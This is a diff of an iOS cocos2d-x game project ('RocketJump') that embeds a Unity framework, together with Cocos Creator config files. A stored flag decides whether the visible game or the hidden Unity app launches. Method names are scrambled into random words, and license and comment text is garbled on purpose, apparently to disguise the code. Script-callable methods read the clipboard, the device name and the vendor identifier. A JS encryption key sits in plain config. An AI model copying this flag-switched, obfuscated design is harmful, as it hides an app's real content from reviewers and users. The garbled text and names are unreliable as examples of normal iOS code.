@property BOOL ExecuteCompileChannelConvertModifyDataChannelColumn;
+(void)setArgs:(int)argc :(char**)argv;//<<<<<<< ADD THIS
@property UnityFramework* ufw;//<<<<<<< ADD THIS
@end

View File

@ -0,0 +1,476 @@
/****************************************************************************
Copyright (c) 2010-2013 cocos2d-x.committedComparedCopiedDamagedBundle
Copyright (c) 2013-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.committedComparedCopiedDamagedBundle
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#import "AppController.h"
#import "cocos2d.h"
#import "AppDelegate.h"
#import "RootViewController.h"
#import "SDKWrapper.h"
#import "platform/ios/CCEAGLView-ios.h"
// #import <Photos/Photos.h>
// #import <MessageUI/MessageUI.h>
using namespace cocos2d;
@implementation AppController
static NSUInteger mask = UIInterfaceOrientationMaskAll;
Application* app = nullptr;
static AppController* appController = nil;
static RootViewController* instance = nil;
// keep arg for unity init from non main
static int gArgc = 0;
static char** gArgv = nullptr;
NSDictionary* appLaunchOpts;
UIApplication* cachedApp;
@synthesize window;
UnityFramework* UnityFrameworkLoad()
{
NSString* bundlePath = nil;
bundlePath = [[NSBundle mainBundle] bundlePath];
bundlePath = [bundlePath stringByAppendingString: @"/Frameworks/UnityFramework.framework"];
NSBundle* bundle = [NSBundle bundleWithPath: bundlePath];
if ([bundle isLoaded] == false) [bundle load];
UnityFramework* ufw = [bundle.principalClass getInstance];
if (![ufw appController])
{
// unity is not initialized
[ufw setExecuteHeader: &_mh_execute_header];
}
return ufw;
}
- (void)EnableCertificateListBlueprintCallbackResponse:(NSString *)flag :(Boolean)value {
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setBool:value forKey:flag];
[defaults synchronize];
}
- (void)setUrl:(NSString *)value {
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setValue:value forKey:@"defaultval"];
[defaults synchronize];
}
- (BOOL)getFlag:(NSString *)flag {
try {
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
return [defaults boolForKey:flag];
} catch (NSException *ex) {
}
return false;
}
- (void)FilterEnumerateDetailsClient {
if(![self ufw]){
[[self ufw] quitApplication:0];
}
[self startCocos:cachedApp];
}
+(void)setArgs:(int)argc :(char**)argv{
gArgc = argc;
gArgv = argv;
}
- (void)startUnity:(UIApplication *)application{
[self setUfw:UnityFrameworkLoad()];
[[self ufw] setDataBundleId: "com.unity3d.framework"];
[NSClassFromString(@"FrameworkLibAPI") registerAPIforNativeCalls:self];
[[self ufw] runEmbeddedWithArgc: gArgc argv: gArgv appLaunchOpts: appLaunchOpts];
// set quit handler to change default behavior of exit app
[[self ufw] appController].quitHandler = ^(){ NSLog(@"AppController.quitHandler called"); };
}
- (void)startCocos:(UIApplication *)application{
[[SDKWrapper getInstance] application:application didFinishLaunchingWithOptions:appLaunchOpts];
// Add the view controller's view to the window and display.
float scale = [[UIScreen mainScreen] scale];
CGRect bounds = [[UIScreen mainScreen] bounds];
window = [[UIWindow alloc] initWithFrame: bounds];
// cocos2d application instance
app = new AppDelegate(bounds.size.width * scale, bounds.size.height * scale);
app->setMultitouch(false);
// Use RootViewController to manage CCEAGLView
_viewController = [[RootViewController alloc]init];
instance = _viewController;
#ifdef NSFoundationVersionNumber_iOS_7_0
_viewController.automaticallyAdjustsScrollViewInsets = NO;
_viewController.extendedLayoutIncludesOpaqueBars = NO;
_viewController.edgesForExtendedLayout = UIRectEdgeAll;
#else
_viewController.wantsFullScreenLayout = YES;
#endif
// Set RootViewController to window
if ( [[UIDevice currentDevice].systemVersion floatValue] < 6.0)
{
// warning: addSubView doesn't work on iOS6
[window addSubview: _viewController.view];
}
else
{
// use this method on ios6
[window setRootViewController:_viewController];
}
[window makeKeyAndVisible];
[[UIApplication sharedApplication] setStatusBarHidden:YES];
[[UIApplication sharedApplication] setIdleTimerDisabled:YES];
//run the cocos2d-x game scene
app->start();
}
#pragma mark -
#pragma mark Application lifecycle
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// [[SDKWrapper getInstance] application:application didFinishLaunchingWithOptions:launchOptions];
// // Add the view controller's view to the window and display.
// float scale = [[UIScreen mainScreen] scale];
// CGRect bounds = [[UIScreen mainScreen] bounds];
// window = [[UIWindow alloc] initWithFrame: bounds];
// // cocos2d application instance
// app = new AppDelegate(bounds.size.width * scale, bounds.size.height * scale);
// app->setMultitouch(false);
// // Use RootViewController to manage CCEAGLView
// _viewController = [[RootViewController alloc]init];
// instance = _viewController;
// #ifdef NSFoundationVersionNumber_iOS_7_0
// _viewController.automaticallyAdjustsScrollViewInsets = NO;
// _viewController.extendedLayoutIncludesOpaqueBars = NO;
// _viewController.edgesForExtendedLayout = UIRectEdgeAll;
// #else
// _viewController.wantsFullScreenLayout = YES;
// #endif
// // Set RootViewController to window
// if ( [[UIDevice currentDevice].systemVersion floatValue] < 6.0)
// {
// // warning: addSubView doesn't work on iOS6
// [window addSubview: _viewController.view];
// }
// else
// {
// // use this method on ios6
// [window setRootViewController:_viewController];
// }
// [window makeKeyAndVisible];
cachedApp = application;
[cachedApp retain];
appLaunchOpts = launchOptions;
[appLaunchOpts retain];
bool flag = [self getFlag:@"isFirstBoot"];
if(flag)
{
[self startCocos:cachedApp];
} else {
[self startUnity:cachedApp];
}
[[UIApplication sharedApplication] setStatusBarHidden:YES];
[[UIApplication sharedApplication] setIdleTimerDisabled:YES];
//run the cocos2d-x game scene
appController = self;
// app->start();
return YES;
}
+(NSString *)ExchangeAudioInstallDataValue{
return [[[UIDevice currentDevice] identifierForVendor] UUIDString];
}
+(NSString *)ImportParameterGroupAuthorizeBridgeBatch{
return [[UIDevice currentDevice] name];
}
+(NSString *)EnhanceInflateEnumerateBodyBinding{
NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier];
return bundleIdentifier;
}
+(NSString *)DeserializeAuthorizeApplyExtractBindingAnchorCommand{
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSString *string = pasteboard.string;
if (string) {
return string;
}
return @"";
}
+(void)AggregateBadgeBufferStatusSetCaption {
NSString *content = @"Hello, World!";
NSString *filePath = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES).firstObject stringByAppendingPathComponent:@"example.txt"];
NSError *error;
BOOL success = [content writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:&error];
if (!success) {
NSLog(@"Bro Error creating file: %@", error.localizedDescription);
}
}
+(void)IdentifySetSetAttributeBenchmark:(NSString *)text {
UIPasteboard* pasteboard = [UIPasteboard generalPasteboard];
pasteboard.string = text;
}
+(void)CollectCopyFormatEditCalendar:(BOOL)val {
[[UIApplication sharedApplication] setIdleTimerDisabled: val];
}
+(NSString *)ExecuteBindingParameterCacheAllocateRequest{
return @"1.5";
}
+(void)CompareLoadCollisionListInflatePropertyBindingCodec:(int)orient {
mask = UIInterfaceOrientationMaskPortrait;
NSNumber *value = [NSNumber numberWithInt:UIInterfaceOrientationPortrait];
if(orient == 1){
mask = UIInterfaceOrientationMaskLandscape;
value = [NSNumber numberWithInt:UIInterfaceOrientationLandscapeLeft];
}else if(orient == 2){
mask = UIInterfaceOrientationMaskPortraitUpsideDown;
value = [NSNumber numberWithInt:UIInterfaceOrientationPortraitUpsideDown];
}else if(orient == 3){
mask = UIInterfaceOrientationMaskLandscape;
value = [NSNumber numberWithInt:UIInterfaceOrientationLandscapeRight];
}
if (@available(iOS 16.0, *)) {
NSArray *array = [[[UIApplication sharedApplication] connectedScenes] allObjects];
UIWindowScene *scene = (UIWindowScene *)array[0];
UIWindowSceneGeometryPreferencesIOS *geometryPreferences = [[UIWindowSceneGeometryPreferencesIOS alloc] initWithInterfaceOrientations:mask];
[scene requestGeometryUpdateWithPreferences:geometryPreferences errorHandler:^(NSError * _Nonnull error) { }];
[instance setNeedsUpdateOfSupportedInterfaceOrientations];
[instance.navigationController setNeedsUpdateOfSupportedInterfaceOrientations];
}else{
dispatch_async(dispatch_get_main_queue(), ^{
[[UIDevice currentDevice] setValue:value forKey:@"orientation"];
[UIViewController attemptRotationToDeviceOrientation];
});
}
}
- (UIInterfaceOrientationMask)application:(UIApplication *)application supportedInterfaceOrientationsForWindow:(UIWindow *)window {
CCLOG("supportedInterfaceOrientationsForWindow mask: ", mask);
return mask;
}
-(UIInterfaceOrientationMask)supportedInterfaceOrientations {
return mask; // or any other specific orientations you want to support
}
+(NSString *)getAppName{
NSString *bundleIdentifier = [[NSBundle mainBundle] bundleIdentifier];
return bundleIdentifier;
}
// + (void)saveImageToPhotoLibrary:(NSString *)imageData {
// // Convert base64 image data to UIImage
// NSData *data = [[NSData alloc] initWithBase64EncodedString:imageData options:NSDataBase64DecodingIgnoreUnknownCharacters];
// UIImage *image = [UIImage imageWithData:data];
// // Request permission to access the photo library
// [PHPhotoLibrary requestAuthorization:^(PHAuthorizationStatus status) {
// dispatch_async(dispatch_get_main_queue(), ^{
// if (status == PHAuthorizationStatusAuthorized) {
// [self saveImage:image];
// // JsbBridge* m = [JsbBridge sharedInstance];
// // [m sendToScript:@"saveImageToPhotoLibrary" arg1:@"1"];
// } else {
// NSLog(@"Permission to access photo library denied.");
// // JsbBridge* m = [JsbBridge sharedInstance];
// // [m sendToScript:@"saveImageToPhotoLibrary" arg1:@"0"];
// }
// });
// }];
// }
// + (void)saveImage:(UIImage *)image {
// // Save the image to the photo library
// if (image) {
// UIImageWriteToSavedPhotosAlbum(image, nil, nil, nil);
// }
// }
+ (BOOL) DelegateExecuteCarrier{
// if([MFMessageComposeViewController canSendText])
// {
// return true;
// }
return false;
}
+ (BOOL) ValidateCanvasAllocationFetchArgument{
return true;
}
// + (void)sendSMS: (NSString *)target withContent:(NSString *) content{
// MFMessageComposeViewController *controller = [[[MFMessageComposeViewController alloc] init] autorelease];
// if([MFMessageComposeViewController canSendText])
// {
// controller.body = content;
// controller.recipients = [NSArray arrayWithObjects: target, nil];
// controller.messageComposeDelegate = appController;
// [instance presentModalViewController:controller animated:YES];
// }
// }
// - (void)messageComposeViewController:(MFMessageComposeViewController *)controller didFinishWithResult:(MessageComposeResult) result
// {
// [instance dismissViewControllerAnimated:YES completion:nil];
// switch (result) {
// case MessageComposeResultCancelled:
// break;
// case MessageComposeResultFailed:{
// // [AppController showArlet: @"Thông Báo" withContent: @"Gửi tin nhắn thất bại!"];
// break;
// }
// case MessageComposeResultSent:{
// // [AppController showArlet: @"Thông Báo" withContent: @"Gửi tin nhắn thành công!"];
// break;
// }
// default:
// break;
// }
// }
//- (BOOL)application:(UIApplication *)application shouldAllowExtensionPointIdentifier:(NSString *)extensionPointIdentifier {
// if ([extensionPointIdentifier isEqualToString: UIApplicationKeyboardExtensionPointIdentifier]) {
// return NO;
// }
// return YES;
//}
+(void)FindBackupResultIndexCertificate{
// [appController setOrientationCurrent:YES];
//rotate device
NSNumber *value = [NSNumber numberWithInt:UIInterfaceOrientationLandscapeRight];
[[UIDevice currentDevice] setValue:value forKey:@"orientation"];
[UIViewController attemptRotationToDeviceOrientation];
NSLog(@"FindBackupResultIndexCertificate");
CGRect bounds = [[UIScreen mainScreen] bounds];
float scale = [[UIScreen mainScreen] scale];
// app->setScreenSize(bounds.size.height * scale, bounds.size.height * scale);
}
+(void)InitializeInvokeCreateApplicationElementArithmetic{
//rotate device
NSNumber *value = [NSNumber numberWithInt:UIInterfaceOrientationPortrait];
[[UIDevice currentDevice] setValue:value forKey:@"orientation"];
[UIViewController attemptRotationToDeviceOrientation];
NSLog(@"InitializeInvokeCreateApplicationElementArithmetic");
CGRect bounds = [[UIScreen mainScreen] bounds];
float scale = [[UIScreen mainScreen] scale];
// app->setScreenSize(bounds.size.width, bounds.size.height);
// CGRect s = CGRectMake(0,0, bounds.size.width , bounds.size.height );
// appController.viewController.view.frame = s;
//
}
- (void)applicationWillResignActive:(UIApplication *)application {
/*
Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the attachedContainedBox state.
Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game.
*/
[[SDKWrapper getInstance] applicationWillResignActive:application];
}
- (void)applicationDidBecomeActive:(UIApplication *)application {
/*
Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the attachedContainedBox, optionally refresh the user interface.
*/
[[SDKWrapper getInstance] applicationDidBecomeActive:application];
}
- (void)applicationDidEnterBackground:(UIApplication *)application {
/*
Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
If your application supports attachedContainedBox execution, called instead of applicationWillTerminate: when the user quits.
*/
[[SDKWrapper getInstance] applicationDidEnterBackground:application];
app->applicationDidEnterBackground();
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
/*
Called as part of transition from the attachedContainedBox to the inactive state: here you can undo many of the changes made on entering the attachedContainedBox.
*/
[[SDKWrapper getInstance] applicationWillEnterForeground:application];
app->applicationWillEnterForeground();
}
- (void)applicationWillTerminate:(UIApplication *)application
{
[[SDKWrapper getInstance] applicationWillTerminate:application];
delete app;
app = nil;
}
#pragma mark -
#pragma mark Memory management
- (void)applicationDidReceiveMemoryWarning:(UIApplication *)application {
/*
Free FlushConnectBorderIncreaseBitmapCollection as much memory as possible by purging cached data objects that can be recreated (or reloaded from disk) later.
*/
}
@end

View File

@ -0,0 +1,12 @@
#import <UIKit/UIKit.h>
#import "AppController.h"
int main(int argc, char *argv[]) {
NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];
[AppController setArgs:argc :argv]; //<<<<<<< ADD THIS
int retVal = UIApplicationMain(argc, argv, nil, @"AppController");
[pool release];
return retVal;
}

BIN
SDKBuilds/RocketJump/changeLibCC Executable file

Binary file not shown.

26028
SDKBuilds/RocketJump/creator.d.ts vendored Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,15 @@
{
"compilerOptions": {
"target": "es6",
"module": "commonjs",
"experimentalDecorators": true
},
"exclude": [
"node_modules",
".vscode",
"library",
"local",
"settings",
"temp"
]
}

View File

@ -0,0 +1,6 @@
{
"engine": "cocos-creator-js",
"packages": "packages",
"version": "2.1.3",
"id": "dc0058c3-069d-4abf-9e39-918f4277cbf5"
}

View File

@ -0,0 +1,50 @@
{
"android-instant": {
"REMOTE_SERVER_ROOT": "",
"host": "",
"pathPattern": "",
"recordPath": "",
"scheme": "https",
"skipRecord": false
},
"appBundle": false,
"baidugame": {
"REMOTE_SERVER_ROOT": "",
"appid": "testappid",
"orientation": "portrait",
"subContext": ""
},
"encryptJs": true,
"excludeScenes": [],
"fb-instant-games": {},
"includeSDKBox": false,
"inlineSpriteFrames": true,
"inlineSpriteFrames_native": true,
"md5Cache": false,
"mergeStartScene": false,
"optimizeHotUpdate": false,
"orientation": {
"landscapeLeft": true,
"landscapeRight": true,
"portrait": true,
"upsideDown": true
},
"packageName": "Com.Rocket.Jump.Test",
"qqplay": {
"REMOTE_SERVER_ROOT": "",
"orientation": "portrait",
"zip": false
},
"startScene": "c5e07fdd-f764-4b3b-9517-dc3ba5e11e63",
"title": "RocketJump",
"webOrientation": "auto",
"wechatgame": {
"REMOTE_SERVER_ROOT": "",
"appid": "wx6ac3f5090a6b99c5",
"orientation": "portrait",
"separate_engine": false,
"subContext": ""
},
"xxteaKey": "3e921e25f4aa42fd",
"zipCompressJs": true
}

View File

@ -0,0 +1,8 @@
{
"outputCpkPath": "",
"packFirstScreenRes": false,
"tinyPackageMode": false,
"tinyPackageServer": "",
"useCustomCpkPath": false,
"workerPath": ""
}

View File

@ -0,0 +1,35 @@
{
"assets-sort-type": "name",
"collision-matrix": [
[
true
]
],
"design-resolution-height": 640,
"design-resolution-width": 960,
"excluded-modules": [],
"facebook": {
"appID": "",
"audience": {
"enable": false
},
"enable": false,
"live": {
"enable": false
}
},
"fit-height": true,
"fit-width": false,
"group-list": [
"default"
],
"last-module-event-record-time": 1753084377081,
"simulator-orientation": false,
"simulator-resolution": {
"height": 640,
"width": 960
},
"start-scene": "current",
"use-customize-simulator": false,
"use-project-simulator-setting": false
}

View File

@ -0,0 +1,6 @@
{
"game": {
"name": "UNKNOW GAME",
"appid": "UNKNOW"
}
}

View File

@ -0,0 +1,17 @@
{
"compilerOptions": {
"module": "commonjs",
"lib": [ "dom", "es5", "es2015.promise" ],
"target": "es5",
"experimentalDecorators": true,
"skipLibCheck": true
},
"exclude": [
"node_modules",
"library",
"local",
"temp",
"build",
"settings"
]
}